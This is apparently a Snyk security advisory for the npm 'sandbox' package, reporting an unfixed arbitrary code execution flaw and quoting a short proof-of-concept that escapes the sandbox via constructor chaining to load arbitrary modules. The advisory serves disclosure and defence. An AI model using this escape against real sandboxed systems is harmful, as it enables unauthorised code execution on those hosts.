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Arbitrary Code Execution Affecting sandbox package, versions *

0.0
critical

Snyk CVSS

    Attack Complexity Low
    Confidentiality High
    Integrity High
    Availability High

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  • Snyk ID npm:sandbox:20160821
  • published 7 Nov 2017
  • disclosed 21 Aug 2016
  • credit io void
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Introduced: 21 Aug 2016

CVE NOT AVAILABLE CWE-94 Open this link in a new tab

How to fix?

There is no fix version for sandbox.

Overview

sandbox is a nifty javascript sandbox for node.js.

Affected versions of the package are vulnerable to Arbitrary Code Execution. It is possible to escape the sandbox by using a combination of functions and constructors, allowing an attacker access to a process with root permissions, and load modules of their choosing in order to execute malicious code.

PoC by io Void:

new Function("
  return (
    this.constructor.constructor('
      return (this.process.mainModule.constructor._load
     )'
    )())"
  )()
("util").inspect("hi")

References